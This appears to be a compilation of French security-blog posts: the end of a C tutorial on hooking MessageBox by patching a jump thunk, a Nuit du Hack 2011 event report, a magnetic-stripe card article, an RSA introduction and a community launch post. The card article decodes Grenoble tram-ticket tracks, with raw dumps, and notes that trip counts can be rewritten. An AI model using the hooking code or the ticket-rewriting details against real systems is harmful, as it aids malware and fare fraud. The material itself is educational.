    DWORD fnThunkAddress;
    DWORD *JmpOffsetAddress;
    DWORD fnDetourOffset;
    DWORD dwOldProtect;
    char jumpcode[6] = {0xE9, 0x00, 0x00, 0x00, 0x00, 0x90};
    char bRet;

    MessageBox(0,"Hello IAT, I am not hooking!","Welcome",0);

    MESSAGEBOX fnMessageBox = (MESSAGEBOX)MessageBox;

    /* Get the thunk or jump address */
    fnThunkAddress = (DWORD)fnMessageBox;

    /* Changes the protection of code section before writing */
    bRet = VirtualProtect(fnMessageBox, sizeof(jumpcode), PAGE_EXECUTE_READWRITE, &dwOldProtect);
    if(bRet != 0)
    {
        /* Compute relative offset */
        fnDetourOffset = (DWORD)fnThunkAddress - (DWORD)MyNewMessageBox + 5;
        fnDetourOffset = ~(fnDetourOffset) + 1;

        /* Copy the relative offset into jumpcode variable*/
        memcpy(jumpcode+1, &fnDetourOffset, sizeof(DWORD));

        // Save the original API address
        JmpOffsetAddress = (DWORD*)*(DWORD*)(fnMessageBox+2);
        g_oldAddress = (MESSAGEBOX)*JmpOffsetAddress;

        /* Modify the thunk/jump address with a jump towards our hook function */
        memcpy(fnMessageBox, jumpcode, sizeof(jumpcode));

        /* Restore original protection */
        VirtualProtect(fnMessageBox, sizeof(jumpcode), dwOldProtect, NULL);
    }

    MessageBox(0,"Hello world, I am not hooking!","Welcome",0);
    return 0;
}

6. Conclusion

J'espère que cet article vous a permis d'améliorer vos connaissances ou de les compléter. A travers celui-ci, j’ai notamment tâché d’expliquer avec précision une technique pour abuser de la « jump thunk table » créé par certains compilateurs. Il ne faudra toutefois pas perdre de vue que cette méthode d'hooking de l'IAT ne peut être réalisée de manière commune à tous les exécutables.

Pour d’éventuelles questions, remarques ou précisions sur le contenu de ce papier, vous pouvez me joindre à l'adresse «trashomeo [at] gmail [dot] com».

7. Références

Calling an imported function, the naive way : http://blogs.msdn.com/b/oldnewthing/archive/2006/07/21/673830.aspx

How a less naive compiler calls an imported function : http://blogs.msdn.com/b/oldnewthing/archive/2006/07/24/676669.aspx

Ce week-end, vous n’êtes pas sans le savoir, ce fut la Nuit du Hack, événement incontournable de l’année pour tout les bidouilleurs. La communauté zenk-security était présente et nous comptons bien vous en faire un retour.

Pour bien commencer on va faire une épisode blabla agrémenté de photos et d’anecdotes, nous ajouterons par la suite les write-up qui sont en cours de rédaction par les membres de la communauté.

Nous étions donc présent dés l’ouverture pour assister à cette édition 2011 du rassemblement des hackeur/bidouilleurs/pirate de France et de Navare (et même des Belges bien sympa).

Au menu tout plein de conférences, un CTF publique et un CTF privé, (bon pour le CTF privé il y a eu un p’tit couac, je vous en parlerais plus en détail en fin de post) bref que du bon en perspective.

Nous sommes donc arrivé dans la salle, première impression : c’est immense, beaucoup de chaise, de grande table, c’est un signe ils attendent du monde, ça va tout déchirer.

Affublé de nos tee-shirt zenk-security nous traversons la salle et nous installons sur une table avec dans l’optique de rassembler la communauté tout autour.

Table zenk-security

En plein tweet

Début des conférences avec celle de Damien Cauquil alias virtualabs sur la sécurité des téléphones android. Une conférence bien réussie avec une petite mise en application ( géolocalisation via sms ). Les slides sont dispos ici.

Nous ne feront pas de retours détaillés sur chaque conférence pour le moment, le programme est disponible sur le site de la nuit du hack.

Bref ça démarre bien.

Les talks s’enchaînent à un rythme effrénés, à peine le temps d’en griller une, du délire. Bon on a quand même trouvé le temps de faire connaissance, c’était aussi le but.

A côté des conférences il se passait beaucoup de chose aussi, moins visible, mais bien réelle. Notamment l’armée de wireshark qui scannaient à tout va le moindre paquet qui transitait par le wifi publique, il suffisait de se lever pour aller au toilette, de jeter un œil à droite et à gauche, ça scannait fort, inutile de vous dire que nous avons pris des précautions pour tenir le Livetweet.

Merci à Le_malade d’ailleurs qui était quasiment seul aux commandes du compte twitter de zenk et qui grâce à sa connexion 3g nous a évité, j’en suis sur, bien des tracas.

18h, les conférences sont terminées, tout le monde se met en place pour participer au ctf public. Un nombre incroyable de machines qui se mettent en route et attendent le feu vert. Pendant ce temps, les participants du ctf privé sont priés d’attendre une petite demi-heure suite à un soucis technique, c’est pas grave il y a des bières !

Quelques heures après, personne n’a encore réussit à accéder au public. On a eu le droit à un petit tour de table de la part de notre chère administrateur Tr00ps également présent dans le staff hackerzvoice pour vérifier qui cachait un brouilleur d’onde. Peu de temps après, le staff annonce gentiment que personne n’a encore réussit à exploiter le wifi en wep, ils mettent donc à disposition la clé aux challengers, le ctf démarre, place à la concentration.

Sur les coups de 22h, les organisateurs invitent les 15 équipes du ctf privé à rejoindre les tables prévus pour la « compétition ». Que du beau monde niveau français mais également nous avions l’honneur de recevoir une équipe russe ( Rdot.org ) qui avaient fait le déplacement.

Peu de temps après, le staff passe à notre table pour nous tenir au courant des petits soucis techniques. Deux vm ne veulent pas tourner ( à cause d’un problème de compatibilité ). Il fallut attendre 00h00 pour que deux équipes ( BlackBdx et Ingésup ) se retirent pour commencer. Pendant à peu près 45minutes les équipes étaient sur le qui-vive , nous avions le droit à plusieurs dizaines de vulnérabilités un peu partout sur les machines, il fallait être rapide et donc assez organisé. On s’en est bien sorti de ce coté la malgré quelques soucis de connexions sur le serveur linux et le firewall.

Sur les coups de 1h, Crashfr a rassemblé les 13 chefs d’équipes restant pour proposer d’annuler le ctf. La décision fut acceptée à l’unanimité et la plupart se sont rattrapés sur les challenges publics. Néanmoins rien n’est perdu et l’énorme travail fourni par le staff sera mis en ligne pour que les challengers puissent en profiter tout de même.  Un mal pour un bien !

Équipes du ctf privé.

Dans le foulée, notre ami Debaser a souhaité faire un petit backup des deux interfaces web présentent sur la machine linux de chaque équipes. Voici les sources si vous souhaitez vous amusez chez vous. web.tar

Nous en avons parlé avec des membres du staff NDH, ce soucis technique à énervé beaucoup de monde, surtout que tout le monde était prêt pour donner le meilleurs, la tentation serait grande de les plomber pour ce fail. Malgré tout nous avons vu leurs efforts pour lancer le CTF, depuis 16h c’était la guerre de ce côté là et ils ont eux aussi tout tenté pour résoudre les problèmes qui se posaient en obstacle à la conduite d’un CTF qui promettait. Non vraiment, vu le travail qu’ils avaient fournit pour monter une véritable usine à gaz, les efforts qu’ils ont fait pour que ça tourne et surtout la déception qu’on pouvait lire sur leurs visage quand la décision d’arrêter le CTF fut prise, nous ne pouvons pas leur tirer lâchement dans le dos.

Les soucis techniques ça arrive, ça fait parti du jeu et c’est aussi ce qui fait tout le piment de l’informatique en règle générale, alors merci à eux d’avoir voulu nous ravir par un CTF qui prévoyait (et je me répète) de tout déchirer et tant pis pour cette fois, vous ferrez bien mieux l’année prochaine.

Vous pouvez aussi lire l’avis de virtuallabs qui en parle sur son blog : http://www.virtualabs.fr/

Pour le résumé des conférence et pas mal de photos/videos, je vous conseil d’aller ici : http://www.undernews.fr/culture-web-emploi/evenements/nuit-du-hack-2011-retour-sur-le-formidable-evenement.html

Autres photos :

Crédit Trance https://picasaweb.google.com/emilien.girault/NuitDuHack2011#

Crédit itichy    https://picasaweb.google.com/Casal.DeSousa/Ndh2011_zenk?authkey=Gv1sRgCOaowvzjr62lMQ

Nous souhaitons remercier tous le staff de la nuit du hack pour avoir réussi à organiser un évènement d’une telle envergure, pour leur réactivité et surtout leur bonne humeur. Bien entendu un grand merci aux auteurs des différents workshops et conférenciers qui ont bien joué le jeu.

Bonjour à tous.

Avec un peu de retard sur le calendrier nous publions notre deuxième article, cette fois c’est sur la sécurité des cartes magnétiques, en espérant que la plume et les compétences de son auteur vous plairont, merci K1wy de ton implication dans la communauté.
Bonne lecture et merci de vos retours.

Auteur : K1wy

Introduction :

L’information est présente partout dans la vie, et à acquis une importance capitale dans le monde actuel. Il a donc fallut trouver des supports pour stocker ces informations à la fois petit, léger, pratique. Les cartes sont alors apparues permettant d’enregistrer plus ou moins sensible, elles ont aujourd’hui de nombreuse fonctions : carte de fidélité, carte bancaire, carte de transport, etc. Une question s’est alors posée, comment assurer la sécurité et l’authenticité des informations de la carte. La technologie ayant évoluée de nombreux types de cartes sont apparus, tel que les cartes à puce, les cartes à bande magnétique, ou les cartes avec RFID. Nous nous sommes intéressés aux cartes à bande magnétique, car ce sont les plus faciles à lire et les plus accessibles. Comment est encodée  l’information sur ce type de carte et quels sont les moyens mis en place pour assurer sécurité de ces données ?
Nous allons donc voir comment les données sont stockées sur la carte magnétique et quels sont les moyens physiques puis numérique pour assurer leur sécurité.

Première Partie : Stockage des données.

Principe :
Sur ce type de carte les informations de la carte sont contenue exclusivement sur a bande magnétique. Cette dernière est composée de micro particules ferromagnétiques dispersées dans un liant. Lorsqu’on applique un champ magnétique à ce mélange, les particules se comportent comme de petits cristaux aimantés qui prennent une certaine orientation selon la valeur du champ magnétique. En choisissant un champ définit on peut alors contrôler ces particules. Il existe plusieurs types de particule, mais celle retenue pour les cartes magnétiques courante est l’oxyde de fer. Tous ces types de particules ont une certaine rémanence : cette propriété permet à un matériau magnétique d’acquérir et de conserver une aimantation permanente (même éloigner d’un champ magnétique).
Pour écrire sur cette bande il faut appliquer une excitation magnétique externe (tête d’écriture). Plus le champ magnétique appliqué à la bande sera élevé plus les particules auront une orientation
similaire. Cela permet d’avoir des regroupements de particules ayant toutes la même orientation.

Ici H est l’intensité du champ magnétique appliqué aux particules par notre tête d’écriture. Et B l’intensité de la magnétisation induite. On voit que plus H est important plus la magnétisation induite le sera jusqu’à un certain seuil.

Lecture et écriture :

Le codage numérique (c’est-à-dire une suite de 0 et de 1) ne parait pas compliquer à mettre en place. En effet, on peut penser qu’une simple inversion de flux peut symboliser un 0 (niveau bas) ou un 1 (niveau haut). Cependant, un problème se pose : comment séparer avec précision une série de plusieurs 1 ou de plusieurs 0 à la relecture ? On utilise alors le  codage F/2F. Le codage F/2F est une technique qui permet de différencier les 0 et les 1 en se basant sur une durée (modulation de fréquence). On symbolise alors le 0 par une simple inversion de flux tandis que le 1 est codé par 2 inversions de flux consécutives. La longueur entre une inversion pour un 0 et deux inversions pour un 1 sont égales. On a donc F pour 0 et 2F pour 1. Au début de la piste, on trouve une suite de 0 permettant à l’horloge du lecteur de se synchroniser. Pendant le défilement de la bande sous la tête d’écriture, le champ magnétique généré par cette tête va subir plusieurs inversions du à des variations d’intensités.

Principe du codage F/2F.

Pour la lecture, la tête va parcourir la bande et suivant l’orientation des particules une intensité va être créée dans la tête. Cette intensité va ensuite être amplifiée puis modélisée par  un signal rectangulaire de type niveau haut-niveau bas. Ce signal va ensuite être interprété par une suite de 0 et de 1 suivant le codage F/2F.

Normes d’encodage :
Il existe une série de normes qui définissent différentes caractéristiques pour les cartes à bandes magnétiques. Notamment l’encodage et la répartition des informations sur la bande. Ces normes ont été définies par un organisme s’appelant ISO : International Organization for Standardization. Ces normes sont numérotés 7810, 7811 et 7813 (pour les cartes financières). Ces normes définissent 3 pistes sur la bande magnétique. Voici un schéma de la disposition de ces pistes de manière standard :

http://www.securiteinfo.com/attaques/divers/cartesmagn.shtml

• La piste ISO1, qui permet de stocker 210 bit par pouce, soit environ 82 bit par cm.
• La piste ISO2, qui permet de stocker 75 bit par pouce, soit environ 29 bit par cm.
• La piste ISO3, ayant les mêmes caractéristiques que la piste 1

Ces normes définissent aussi des codes alphanumériques faisant la correspondance entre une suite de bit et un caractère particulier. La piste ISO1 a pour codage un alphabet sur 7 bits (annexe 1) et les piste 2 et 3 un alphabet à 5 bits (annexe 2). Ces codes contiennent aussi des caractères spéciaux de début et de fin de piste (qui encadrent l’information) et des séparateurs.

Il est à noter que ce ne sont que des standards et que les fournisseurs de cartes ne sont pas tenus de les respecter (hormis carte financière). Les tickets de tram par exemple n’utilisent que la piste 2 mais respectent quand même les dimensions qu’une carte  financière au niveau du support ainsi que le même codage. Dans les cartes que nous avons tenté de décoder, il est apparu que la piste 2 est la plus utilisée.

Deuxième partie : la sécurité

Dans cette partie nous allons traiter des différentes solutions autant physiques que numériques misent en place pour assurer la sécurité et l’intégrité des données encodés sur la carte.
Sécurité physique :
La première caractéristique importante pour éviter les erreurs et assurer la pérennité des données est d’utiliser un matériau pour la bande magnétique à haute coercitivité. La coercitivité est la
capacité du matériau à garder la magnétisation qu’on lui a appliqué à l’écriture. Lorsqu’on applique un champ magnétique extérieur sur la bande (comme on le fait à l’écriture), cette dernière doit pouvoir garder les données précédemment transmises. Elle ne doit pas s’altérer au cours du temps, ni avec une utilisation fréquente. Pour cela nous utilisons des matériaux à haute coercitivité pour les bandes magnétiques, le matériau le plus couramment utilisé sur les pistes est l’oxyde de fer. Il s’agit tout simplement de sa résistance à la dés-aimantation. On utilise alors des matériaux à haute coercitivité pour éviter des effacements accidentels des données par des objets plus ou moins aimantés. Voici les différents types d’effacement que l’on peut retrouver (d’après doc. Thomson LCC) :

On utilise alors pour palier à ce problème d’effacements des matériaux à assez hautes coercivités. Outre le problème des effacements, il faut prendre en compte les  éventuelles possibilités de réécritures. Les machines servant à réécrire sur une bande magnétique sont disponibles dans le commerce. Cependant, plus la piste a une  coercivité importante, plus il faut générer un champ magnétique puissant. Le coût de ces machines augmente proportionnellement avec la coercivité de la carte à écrire. C’est un moyen de se protéger contre les tentatives de réécriture. Un autre moyen de se protéger physiquement contre la modification d’une carte est de ne pas respecter les normes. On peut décider d’écrire les données de façon hélicoïdale. Les données ne sont plus parallèles sur la longueur de la carte mais en biais ce qui permet d’éviter toute lecture par un lecteur non spécialisé.

Enfin, un dernier moyen de protéger la lecture et l’écriture d’une bande magnétique par un système « étranger » est de ne pas utiliser des cartes normalisées. Suivant les normes présentées précédemment, on retrouve généralement trois pistes sur la bande magnétique. Certaines cartes alors ont la bande magnétique divisées en plusieurs parties disposées à divers endroits de la carte.
Voici un exemple de ces cartes :

Ceci est un passe pour une serrure électronique.

Les données sont inscrites sur la flèche.

http://www.fadini.net/prodotto.asp?language=FRA&id=90

En conclusion, même s’il existe des normes sur la disposition des pistes magnétiques et sur la façon d’écrire sur ces dernières, on retrouve de nombreux modèles de cartes magnétiques non  conformes afin d’augmenter la sécurité des données contenue sur la carte. Il existe aussi des moyens numériques pour protéger ces données.

La Sécurité numérique :
La sécurité numérique est primordiale pour protéger les données de la carte magnétique et en assurer leur intégrité. Le plus important au départ est de savoir si l’information que l’on a lu sur la
carte est bien valide, en effet le lecteur doit prendre en compte les erreurs qui peuvent se produire sur un bit, comme une inversion, un rajout ou encore une suppression. Mais il existe aussi des
codages afin de chiffrer les informations contenues sur la carte. Pour tous ces problèmes il existe plusieurs solutions et nous allons en voir quelques-unes.

Le bit de parité :
Dans un premier temps, nous allons voir comment détecter les erreurs dans une séquence. Lorsque l’on reçoit un message binaire il est alors découper en séquence de n bits. Le contrôle par bit de
parité consiste à rajouter un bit à la fin séquence. Si le nombre de 1 dans la séquence est pair alors le bit de parité sera égal à 0, et si le nombre de 1 est impair alors le bit de parité sera égal à 1.
Par exemple :
Pour une séquence 0110101 on rajoute un 0 à la fin ce qui donne 01101010
Pour une séquence 0101100 on rajoute un 1 à la fin ce qui donne 01011001
Bien que cette technique soit utile pour détecter des erreurs, elle ne permet en aucun cas de trouver où elle est apparue et donc de la corriger. Elle nécessite donc le renvoie du message. De plus, il existe plusieurs cas où elle est inefficace. Prenons par exemple un message original 01101010 et imaginons maintenant que deux erreurs se produisent sur deux bits différents. Le message devient 10101010. On voit que le bit de parité n’est pas le même, bien qu’il y a eu erreur. On peut calculer la probabilité pour le contrôle de parité de détecter une erreur :
On suppose que chaque bit à la même probabilité p = 1/8 d’avoir une erreur. Et l’erreur sur un bit ne dépend pas de l’erreur sur un autre bit. Les éléments sont indépendants. Soit X le nombre de bits erronés dans un message, et suit une loi binomiale de paramètre n. On a donc la probabilité pour une erreur sur k positions :

La probabilité que la transmission réussisse est P(0) = q ⁸

LRC (Longitudinal Redundancy Check) :
Le LRC est, tout comme le bit de parité, un contrôle pour la détection des erreurs. Il permet lui aussi de s’assurer de l’intégrité des données lues. A lui tout seul, il n’est guère plus efficace que le contrôle par bit de parité mais en combinant les deux, on obtient certes une séquence plus longue mais qui détecte un grand nombre d’erreurs. Il fonctionne en appliquant un XOR (ou exclusif) « glissant » sur la totalité de la séquence. Prenons l’exemple d’une séquence : 1, 2, 3, 4 qui se représente en binaire par 0001, 0010, 0011, 0100 (bit de poids faible à droite).
Le LRC pour cette séquence donne :

Ensuite on ajoute à chaque bloc le bit de parité qui sera donc : 00011, 00101, 00110, 01001, 01001.
Dans les cas des cartes magnétiques, le contrôle LRC est appliqué bit par bit à tous les caractères
contenus entre les drapeaux START et END. Il sera donc mis à la suite du drapeau END.

Nature des données :
Avant tout, la sécurité qu’on apporte à des données doit être spécifique à leur nature. On évitera
alors de stocker des données confidentielles sur un support lisible facilement (comme une bande
magnétique), mais on favorisera l’utilisation d’un identifiant unique. Une fois la carte lue, on utilisera
l’identifiant qu’elle contenait pour l’envoyer à un serveur distant et récupérer les informations
confidentielles. Cela permet d’éviter tout problème de réécriture par modification des données, car
seules certaines machines ayant les autorisations nécessaires pourront modifier les informations
contenues directement sur le serveur, et non sur la carte.

Cryptographie :
Un autre moyen utilisé pour empêcher cette fois-ci la lecture de l’information. On se base sur
quelque chose que la personne connaît (un code PIN par exemple). Avec un algorithme de
chiffrement (exemple : DES utilisé par les cartes bancaires), on déchiffre les informations contenues
sur la bande avec le code PIN fournit par l’utilisateur. Le lecteur vérifie ensuite la validité de la carte
pour savoir si le code est correct. On peut aussi imaginer coupler plusieurs vecteurs couplés à
l’utilisation d’une carte magnétique : biométrie, reconnaissance vocale …

Exemples de cartes magnétiques :

Dans cette partie nous allons étudier deux types de cartes à bande magnétique : les tickets de bus et
tram de la Semitag (Société d’économie mixte des transports publics de l’agglomération
grenobloise) ; et les cartes bancaires Visa.
Les tickets de bus et de tramway :
Nous allons prendre l’exemple d’un ticket de bus/tram délivré par la semitag (transport en commun
de l’agglomération grenobloise). Nous avons à notre disposition une machine permettant de lire les
cartes à bande magnétique. Cet appareil nous permet de vérifier très facilement le passage du LRC et
du bit de parité, puisque la machine envoie les données à l’ordinateur uniquement lorsque la
séquence est valide (toutes les machines fonctionnent comme cela). Nous avons aussi développé un
programme sommaire pour interpréter les données sur la carte (affichage du drapeau Start/end,
reconnaissance de la piste, etc. disponible dans l’archive.
Après avoir récupéré un certain nombre de cartes, nous avons pu par rétro-ingénierie interpréter
certaines données.
Sur un ticket de bus/tram, seul la piste ISO-2 est utilisée à l’exception que 43 caractères sont
présents et non 40. Les données sont disposées selon ce schéma (ce ne sont uniquement que des
suppositions faites par déduction) :

{Start}{Type de Carte} {Voyage Restant/Temps restant(?)} {??????} {ID de la borne : ID_BUS+IDBorne}
00002{End}
Type de Carte (5 bits) : 87401 (1 voyage), 87402 (10 voyages) 87415 (Visitag 1 jour)
Voyage restant (8 bits) : entier positif
Temps restant (8 bits) : reste à déterminer
?????? (6 bits): à déterminer
ID_Bus/Tram (4 bits) : la ligne ou 8*00 pour une borne de tram
ID Borne (12 bits) : l’ID de la borne qui a validé le ticket
00002 : Se finit toujours par 00002 (bits de remplissage ?)

Les différentes sauvegardes des pistes effectuées sont disponibles en annexe.

On voit alors que le nombre de voyage restant est marqué en clair sur la piste magnétique. Il est alors
très facile avec une simple machine permettant d’écrire sur les cartes de rendre une carte
« illimitée » !
Économiquement parlant, la solution de mettre ces données en claires est avantageuse pour la
semitag. Les bornes n’ont pas besoin d’être reliées à un terminal central (ce qui est un dispositif
coûteux). De plus le prix d’une machine permettant d’écrire sur une bande magnétique est d’environ
225 €. Le coup de la machine est donc beaucoup plus élevé que le prix d’un ticket. Rendre un ticket
« illimité » n’a donc pas de réel intérêt économique.
Cependant, d’un point de vue strictement sécuritaire, on ne peut considérer ce type de ticket comme
sûr.
Les cartes bancaires VISA :
Nous allons maintenant nous intéresser aux cartes bancaires ainsi qu’à leurs données stockées sur la
bande magnétique. La bande magnétique des cartes bancaires est une simple reproduction de la
puce, les informations stockées sont exactement les mêmes, mais la carte à puce est maintenant
beaucoup plus sécurisée et donc beaucoup plus utilisé pour les paiements.
Les informations contenues sur les différentes pistes sont aussi les nombres et les noms gravés sur la
carte :

Par exemple :

• Détenteur de la carte : Mr Jean MARC
• Numéro de la carte : 49757860XXXX4768
• Expiration : 09/13

Piste Iso 1 :

Contrairement a ce que l’on pourrait penser ces informations parfaitement lisible par un simple
lecteur de cartes, seul les données sensibles contenue sur la carte tel que le numéro du
cryptogramme visuel est crypté (ce qui est logique car on peut payer uniquement en sachant ce
numéro et le numéro de la carte sur internet). Le code PIN permet alors de déchiffrer les données sur
la carte.

Conclusion :
En conclusion, on peut observer que, bien qu’il existe différents moyens permettant de vérifier
l’intégrité des données et de les sécuriser, la carte à bande magnétique n’est pas un moyen sûr pour
stocker des informations confidentiels. En effet, bien que les bandes magnétiques soient
économiquement avantageuses à produise, la possibilité de lecture et d’écriture rend la sécurité des
données trop faible. D’autres moyens ont alors étaient mis en place pour le stockage des données
sur une carte, comme par exemple les cartes à puces ou la technologie RFID.

Bibliographie :

• http://sysdoc.doors.ch/ASCOM/Validators_e.pdf (ticket tram)
• http://www.certu.fr/fr/_Syst%C3%A8mes_de_transports-n26/Intermodalit%C3%A9-n80/Billettique-n82/IMG/pdf/recensement.pdf (ticket tram)
• http://parodie.com/monetique/vulnerabilite.htm (info CB DES56)
• http://www.latelierweb.com/infoweb/securite/info&secuCarte/carteB.txt (Info CB)
• http://stripesnoop.sourceforge.net/devel/layoutstd.pdf (Données sur une CB)
• http://stripesnoop.sourceforge.net/devel/ (Doc sur les cartes)
• http://en.wikipedia.org/wiki/Magnetic_stripe_card (Codage de l’information sur une CB)
• Electromagnétisme théorie et application Elie Boridy – presses de l’université du Québec
• http://www.gae.ucm.es/~padilla/extrawork/magexam1.html (carte de crédit)
• « Cartes Magnétiques et PC – Patrick Gueulle – Ed. Techniques et Scientifiques Françaises 1997
• Introduction aux Codes Correcteurs – Pierre Csillag – Ellipse 1990
• Codes Correcteurs d’Erreurs – Gérard Cohen, Jean-Louis Dornstetter, Philippe Godlewski –
• MASSON 1992
• Magnétisme : Statique, induction et milieux – Christian Garing – Ellipse 1999
• Magnétisme – Etienne du Trémolet de la Lacheisserie – EDP 2001
• http://www.cyberd.co.uk/support/technotes/isocards.htm

Annexe:

Table de caractère 7bits :

http://www.cyberd.co.uk/support/technotes/isocards.htm

Relevé carte Tag :
– 10 voyages (jaune)
CODE BARRE : 3000000390016
09NOV 16h47 600 SOLDE 09
10NOV 07h00 411 SOLDE 08
12NOV 16h36 600 SOLDE 06
16NOV 07h00 411 SOLDE 05
{Start}8740200000005461220411009000100540600002{End}
SOLDE 01
{Start}8740200000001464690600013000100070400002{End}
– 1 Voyage
12NOV 06h47 111 SOLDE 00
{Start}8740100000000455447111005000100092900002{End}
– /!\ Bug /!\ — 30(10) voyages (bleue)
CODE BARRE : 3000000390047
03SEP 16h57 410 SOLDE 01
{Start}8740200000000392539410014000100541600002{End}
– 1 Voyage
03SEP 10h21 410 SOLDE 00
{Start}8740100000000354861410006000100541300002{End}
– 10 voyages (jaune)
CODE BARRE : 3000000390016
27AOU 09h34 411 SOLDE 00
{Start}8740200000000344734411014000100540600002{End}
– 10 voyages (bleue)
12OCT 14h05 411 SOLDE 00
{Start}8747100000000411245411014000100540600002{End}
– 1 Voyage
{Start}8740100000000373391800005000100000900002{End}
{Start}8740100000000385552321005000100043300002{End}
{Start}8740100000000389564891005000100001900002{End}
{Start}8740100000000369324891005000100002200002{End}
{Start}8740100000000384916800005000100000900002{End}
{Start}8740100000000362128800005000100000900002{End}
{Start}8740100000000383476800005000100000900002{End}
– Visitag 1 jour
{Start}8741500265000382036800013000100000900002{End}
{Start}8741500263000379742261015000100302800002{End}
{Start}8741500264000380596800013000100000900002{End}
{Start}8741500271000390674800013000100000900002{End}
{Start}8741500257000370536811013000100003500002{End}
– Promo 15 Septembre
{Start}8743300258000372777810013000100003500002{End}

13 avril 2011

Introduction

RSA est un algorithme cryptographique qui fait partie de la catégorie des algortihmes à clés publiques ou systèmes asymétriques. L’acronyme RSA, créé en 1977, vient du nom de ses trois  inventeurs (Rivest, Shamir et Adleman). Ce chiffrement est le plus connu en termes d’algorithmes cryptographiques de type asymétrique. Nous le retrouvons beaucoup dans le e-commerce pour effectuer le paiement en ligne. Mais RSA est aussi utilisé dans les systèmes bancaires (cartes bleues). Ce chiffrement est également présent dans les signatures numériques de documents (clé PGP )  et dans les réseaux avec les connexions ssh (Security Shell) via des logiciels comme OpenSSL très connu dans les systèmes de type Unix.

Tout d’abord, il est nécessaire de préciser quelques points pour les personnes qui ne sont pas adeptes de cryptographie. Nous avons parlé de système asymétrique, c’est-à-dire de sytème mettant en  oeuvre une clé publique et une clé privé qui servent respectivement à chiffrer et déchiffrer. A l’opposé, les systèmes symétriques ou à clé secrète utilisent une seule clé servant à chiffrer et à  déchiffrer, ce qui, à taille de clé comparable, rend l’information plus vulnérable.

1.1 L’évolution de la cryptographie d’un point de vue non-technique

Jusqu’en 1999 la loi française interdisait toute utilisation de logiciels de chiffrement de données, ceux-ci étant considérés comme des armes de guerre de 2ème catégorie. Plus tard, la loi s’est  assouplie grâce à Lionel Jospin en autorisant l’utilisation de la cryptographie aux particuliers notamment pour favoriser le commerce électronique. Il faut savoir que depuis le 11 septembre 2001, l’utilisation de la cryptographie a fait débat après que les médias ont déclaré que certains terroristes utilisaient la cryptographie pour communiquer et organiser des attentats. Suite à l’augmentation de l’utilisation, ou plutôt la démocratisation des technique de surveillance, les particuliers s’intéressent de plus en plus à la sécurité de leurs données. Néanmoins, le fait que les particuliers  protègent leurs données via des techniques de cryptographie n’arrange pas les gouvernements qui se doivent de contrôler toutes les informations transitant entre les pays. Par contre, suite aux échos de l’affaire Echelon et à la sensibilisation faite auprès des entreprises françaises, les industriels se sont mis à chiffrer leurs données considérées comme confidentielles pour éviter l’espionnage industriel . De plus, depuis la sortie de la loi Hadopi, les Etats-Unis reprochent à la France de parer à la cybersurveillance des internautes en les incitants à chiffrer leurs données de communication.

En revanche le gouvernement s’autorise d’après l’article 434-15-2 du code pénal , de demander la clé ayant servi à chiffrer des messages susceptibles d’avoir été en relation avec un crime ou un délit.

Est puni de trois ans d’emprisonnement et de 45 000 euros d’amende le fait, pour quiconque ayant connaissance de la convention secrète de déchiffrement d’un moyen de cryptologie susceptible  d’avoir été utilisé pour préparer, faciliter ou commettre un crime ou un délit, de refuser de remettre ladite convention aux autorités judiciaires ou de la mettre en oeuvre, sur les réquisitions de ces  autorités délivrées en application des titres II et III du livre Ier du code de procédure pénale.

Si le refus est opposé alors que la remise ou la mise en oeuvre de la convention aurait permis d’éviter la commission d’un crime ou d’un délit ou d’en limiter les effets, la peine est portée à cinq ans d’emprisonnement et à 75 000 euros d’amende.

Par ailleurs, un organisme gouvernemental connu sous le nom de Centre Technique d’Assistance (CTA), peut, dans le cadre d’une enquète et si le mot de passe de l’expéditeur n’est pas divulgué,  recourir à une cryptanalyse des données du disque dur de cette même personne. Cette organisation est protégée par le secret défense ; c’est-à-dire à partir du moment où une communication en rapport avec l’enquête a été interceptée puis rapportée au CTA, et que celle-ci présente un délit ou un crime, il ne peut pas y avoir de contre-expertise.

1.2 Notions à propos du système RSA

La première clé est la clé publique, elle est visible par tout le monde et est composée de deux nombres distincts : un module – lui-même le produit de deux nombres premiers – et un exposant public, que l’on appelera, respectivement, dans cet article, n et e. La clé publique sert à chiffrer le message. La deuxième clé de la paire est appelée clé privée, elle sert à déchiffrer le message. Celle si est connue par le créateur de la paire de clé seulement. Elle est composée du même module n que la clé publique et d’un exposant privé que l’on nommera d. La clé privée sert à déchiffrer le  message.

La suite de l’article en version HTML:

La suite de l’article en version PDF:

Bonjour à tous.

Zenk-security décide de lancer son blog.

Quoi de plus commun me direz vous?

Et bien justement non, ce n’est pas commun et encore moins anodin comme décision.

Zenk-security c’est une communauté restreinte, ne fait pas partie de zenk-security qui veut, il faut passer des challenges, faire une chouette présentation, et plus dur il faut arriver à s’intégrer.

Pour ce premier article je me propose de revenir sur ce que nous sommes, ce que nous cherchons et ce que représente ce blog pour nous, bonne lecture.

Qui sommes nous?

Zenk-security, je vous l’ai dit, c’est une communauté, nous sommes passionnés de sécurité informatique, nous travaillons, réfléchissons et bidouillons ensemble pour évoluer ensemble. Dans la communauté on croise de tout, du lycéen à l’ingénieur, du jeune pré-pubère au vieux croulant et tout les niveaux se confondent pour apporter une pierre à notre édifice. Ce qui prime avant tout pour nous c’est la bonne humeur, c’est l’un des moteurs de la communauté, cette joie de partager avec ceux qui veulent progresser.

Voilà bientôt deux ans que zenk a vu le jour, à l’époque le forum était ouvert et la communauté s’est fondé sur le partage des connaissances. Nous affirmons que le savoir est une arme et que nous ne somme pas une armurerie mais qu’il peut être partagé entre tous de manière totalement gratuite et totalement libre à condition d’avoir la présence d’esprit de s’en servir de manière responsable.

Aujourd’hui zenk-security est devenu plus complexe, nous avons restreint l’accès pour favoriser l’échange au sein de la communauté et parce que nous avons compris que la connaissance, bien que neutre, pouvait être employée par des gens qui n’avait pas la maturité pour mesurer les répercutions de leurs actes. Nous ne prétendons pas être des « white hat » et nous rejetons de manière générale cette vision manichéenne des choses, nous ne prétendons pas non plus être des « hacker », terme selon nous galvaudé par ces mêmes personnes qui n’ont pas la maturité nécessaire à l’utilisation réfléchie d’un savoir qu’ils ne comprennent que partiellement.

Nous ne réfléchissons pas non plus à ce que nous pourrions être ou ne pas être, nous apprenons, nous partageons et nous évoluons parce que nous aimons cela et parce que les rencontres qu’on fait dans le milieu de la sécurité informatique sont source de nouvelles compétences.

Le savoir pour le savoir est un credo qui nous anime tous et qui nous voulons aujourd’hui partager.

L’importance d’un blog?

On pourrait se dire que si nous sommes une communauté fermée, quel est donc l’intérêt de lancer un blog?

Nous prônons le partage et nous empêchons l’accès à celui-ci sur notre forum…

